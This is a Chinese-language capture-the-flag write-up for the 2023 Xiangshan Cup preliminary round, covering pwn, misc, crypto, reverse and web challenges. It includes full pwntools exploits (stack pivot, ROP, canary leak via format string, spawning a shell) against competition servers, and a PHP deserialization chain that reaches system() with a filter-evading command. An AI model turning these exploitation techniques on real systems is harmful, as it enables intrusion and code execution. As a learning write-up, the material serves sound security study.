2023中山市第三届香山杯网络安全大赛初赛wp
序
被带飞了
PWN
move
先往变量 sskd
写入 0x20
字节,往第二个输入点输入 0x12345678
即可进入到第三个输入点,存在 0x8
字节的溢出。思路是在第一个输入点布置 rop
链,然后利用第三个输入点的溢出,打栈迁移
然后泄 libc
后重新返回到 main
函数,这里要注意的是移了栈之后,栈顶指针就指向 bss
段了,调试时发现继续往 sskd
写入的数据直接变成了第一个 read
函数的返回地址了
exp 如下
from pwn import *
from LibcSearcher import*
# p = process('./pwn')
p = remote('47.93.188.210', 41055)
context(os = 'linux', arch = 'amd64', log_level = 'debug')
elf = ELF('./pwn')
def debug(content):
gdb.attach(p, content)
pause()
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
pop_rdi_ret = 0x401353
leave = 0x4012E0
sskd = 0x4050A0
payload = p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)
p.sendafter('again!\n', payload)
payload = 0x12345678
p.sendafter('number', p32(0x12345678))
# debug('b *0x40124C')
# debug('b *0x4012a3')
payload = 'a'*(0x30) + p64(sskd-0x8) + p64(leave)
p.sendafter('TaiCooLa', payload)
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
log.info('libc_base: ' + hex(libc_base))
binsh = libc_base + libc.dump('str_bin_sh')
system = libc_base + libc.dump('system')
payload = p64(pop_rdi_ret)
payload += p64(binsh)
payload += p64(system)
p.sendlineafter('again!\n', payload)
p.interactive()
Pwthon
python pwn?实际上也是去跑 c 程序,不过还是第一次见。封装了一个 so
库,在 python
代码中会去调用这个库的函数,这样的话,相比起常规 pwn 题,就是会不好去调试。将库文件丢进 ida
分析,表面很复杂,有种做 vm 题的感觉(bushi
实际上在第一个输入点输入0就能进入到 __pyx_f_3app_Welcome2Pwnthon
函数了,存在格式化字符串漏洞和栈溢出,而且直接给了 _pyx_f_3app_get_info
函数的地址,就能去计算这个库程序的基地址了,先泄 canary
,后面就是 ret2libc
来 getshell 了
比较特别的点就是 __printf_chk
函数相较于普通的 printf
函数,不能使用 %N$
的形式泄数据,然后格式化字符串的偏移是5
(刚开始发现在上图中第一个 read
处直接敲个回车或者发送刚好 0x100
字节的数据过去之后都能泄点栈数据出来,比赛做这道题时琢磨了挺久这些数据能怎么用,因为当时没配通本地运行环境,也不知道泄出的是什么数据,然后后面倒是没用上这些数据
赛后折腾了下运行环境,要和他生成 .so
用的 python3.7
版本一样才能运行,这样添加一下 syspath
就能直接 import app
了,在脚本中连gdb调试的话是这样写
gdb.debug(['python','main.py'])
断点断在 PyImport_ImportModule+4
,然后一直往下运行看看那个包导入了 .so
(特别感谢ABf1ag师傅
exp 如下
from pwn import *
from LibcSearcher import*
p = remote('101.201.35.76', 20611)
context(os = 'linux', arch = 'amd64', log_level = 'debug')
p.sendline('0')
p.recvuntil('0x')
s = p.recv(12)
get_info_addr = int(s,16)
log.info("get_info_addr: " + hex(get_info_addr))
libc_base = get_info_addr - 0x68B0
log.info('libc_base: ' + hex(libc_base))
# 5+(0x118-0x10)/0x8
payload = '%p'*37 + 'flag' + '%p'
p.sendline(payload)
p.recvuntil('flag')
p.recvuntil('0x')
leak_canary = p.recv(16)
leak_canary = int(leak_canary,16)
log.info('leak_canary: ' + hex(leak_canary))
pop_rdi_ret = libc_base + 0x3f8f
pop_rsi_ret = libc_base + 0x3cd9
main = libc_base + 0x99F0
puts_plt = libc_base + 0x3710
puts_got = libc_base + 0x16078
payload = 'a'*0x108 + p64(leak_canary) + 'a'*8
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main)
p.sendline(payload)
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc = LibcSearcher('puts',puts_addr)
libc_base2 = puts_addr - libc.dump('puts')
log.info('libc_base2: ' + hex(libc_base2))
binsh = libc_base2 + libc.dump('str_bin_sh')
system = libc_base2 + libc.dump('system')
p.sendline('a')
ret = libc_base + 0x9A93
payload = 'a'*0x108 + p64(leak_canary) + 'a'*8
payload += p64(ret)
payload += p64(pop_rdi_ret)
payload += p64(binsh)
payload += p64(system)
p.sendline(payload)
p.interactive()
Misc
签到
base64解密+凯撒密码(位移是3)
pintu
脚本如下
from Crypto.Util.number import *
from PIL import Image
import os
path = r"C:\Users\V5nDEtt4\Desktop\pintu_26914c79abf08a72af534387e23ffdf6\pintu"
file_list = os.listdir(path)
size_list = []
bin_data = ""
for i in range(1,4704):
im_path = path + f"\{i}.png"
im = Image.open(im_path)
size_list.append(im.size[1])
pixel = im.getpixel((0,0))
if pixel ==(0, 0, 0):
bin_data += "0"
else:
bin_data += "1"
print(long_to_bytes(int(bin_data,2) ).decode())
size_data = ""
for i in range(len(size_list)):
size_data += chr(int(str(size_list[i]), 8))
data = size_data.split(" ")
data_out = ""
for i in range(len(data)):
data_out += chr(int(data[i]))
print(data_out)
这是一张png图片抽象化,用相关的工具解就可以,npiet.exe
Crypto
Lift
本题感觉就是原题改的
上面是求出d的链接,完整脚本如下
from Crypto.Util.number import *
from gmpy2 import *
hint = 251
N = 108960799213330048807537253155955524262938083957673388027650083719597357215238547761557943499634403020900601643719960988288543702833581456488410418793239589934165142850195998163833962875355916819854378922306890883033496525502067124670576471251882548376530637034077
E = 3359917755894163258174451768521610910491402727660720673898848239095553816126131162471035843306464197912997253011899806560624938869918893182751614520610693643690087988363775343761651198776860913310798127832036941524620284804884136983215497742441302140070096928109039
C = 72201537621260682675988549650349973570539366370497258107694937619698999052787116039080427209958662949131892284799148484018421298241124372816425123784602508705232247879799611203283114123802597553853842227351228626180079209388772101105198454904371772564490263034162
a = E // hint
b = 39217838246811431279243531729119914044224429322696785472959081158748864949269
p = 67842402383801764742069883032864699996366777
q = 69367143733862710652791985332025152581988181
# Decrypt the message
decrypted_message = pow(C, b, N)
prime_power_list = [q**5, p]
root_list = []
for power in prime_power_list:
modulo_ring = Zmod(power)
text = int(C) % int(power)
pe = invert(E // 251, euler_phi(power))
root = int(pow(text, pe, power))
roots = modulo_ring(root).nth_root(251, all=True)
root_list.append(roots)
for root_q in root_list[0]:
for root_p in root_list[1]:
roots = [int(root_q), int(root_p)]
decrypted_flag = crt(roots, prime_power_list)
if len(bin(decrypted_flag)) < 520:
print(long_to_bytes(decrypted_flag))
Reverse
URL从哪儿来
这个题目需要动态调试出flag
先使用IDA分析题目
在资源节中解密可以拿到数据,解密exe
找到GetTempPathA的位置下断点
然后dump对应的内存区块
打开新的exe进行动调,追踪到szurl
在IDA中就可以找到对应的关键函数的位置了
最后在X64dbg中找到对应的位置即可找到flag
hello_py
使用jadx打开,找main。跟随函数调用。
把apk改成zip解压后,找到app.imy,后缀改成zip,就可以找到关键的函数了。
虽然经过了混淆,但是能够识别出来是xxtea的加密,然后就是套个脚本,稍微改改就好。
#include <stdio.h>
#include <stdlib.h>
#define delta 0x9e3779b9
int main()
{
unsigned int v[9] = {689085350 ,626885696 ,1894439255 ,1204672445 ,1869189675 ,475967424 ,1932042439 ,1280104741 ,2808893494};
unsigned int key[4] = {12345678 ,12398712 ,91283904 ,12378192 };
unsigned int sum = 0;
unsigned int y,z,p,rounds,e;
int n = 9;
int i = 0;
rounds = 6 + 52/n;
y = v[0];
sum = rounds*delta;
do
{
e = sum >> 2 & 3;
for(p=n-1;p>0;p--)
{
z = v[p-1];
v[p] -= ((((z>>5)^(y<<2))+((y>>3)^(z<<4))) ^ ((key[(p&3)^e]^z)+(y ^ sum)));
y = v[p];
}
z = v[n-1];
v[0] -= (((key[(p^e)&3]^z)+(y ^ sum)) ^ (((y<<2)^(z>>5))+((z<<4)^(y>>3))));
y = v[0];
sum = sum-delta;
}while(--rounds);
for(i=0;i<n;i++)
{
printf("%c%c%c%c",*((char*)&v[i]+0),*((char*)&v[i]+1),*((char*)&v[i]+2),*((char*)&v[i]+3));
}
return 0;
}
Web
PHP_unserialize_pro
链子:good::eval->__invoke->H4ck3r::func->____tostring->Welcome::echo-->__destruct
<?php
error_reporting(0);
class Welcome{
public $name;
public $arg = 'welcome';
public function __construct(){
$this->name = 'Wh0 4m I?';
}
public function __destruct(){
if($this->name == 'A_G00d_H4ck3r'){
echo $this->arg;
}
}
}
class G00d{
public $shell;
public $cmd;
public function __invoke(){
$shell = $this->shell;
$cmd = $this->cmd;
if(preg_match('/f|l|a|g|\*|\?/i', $cmd)){
die("U R A BAD GUY");
}
eval($shell($cmd));
}
}
class H4ck3r{
public $func;
public function __toString(){
$function = $this->func;
$function();
}
}
$a=new Welcome();
$b=new G00d();
$c=new H4ck3r();
$a->name='A_G00d_H4ck3r';
$a->arg=$c;
$b->shell='system';
$b->cmd='cd /;more `php -r "echo chr(102).chr(49).chr(97).chr(103);"`';
$c->func=$b;
echo serialize($a);
?>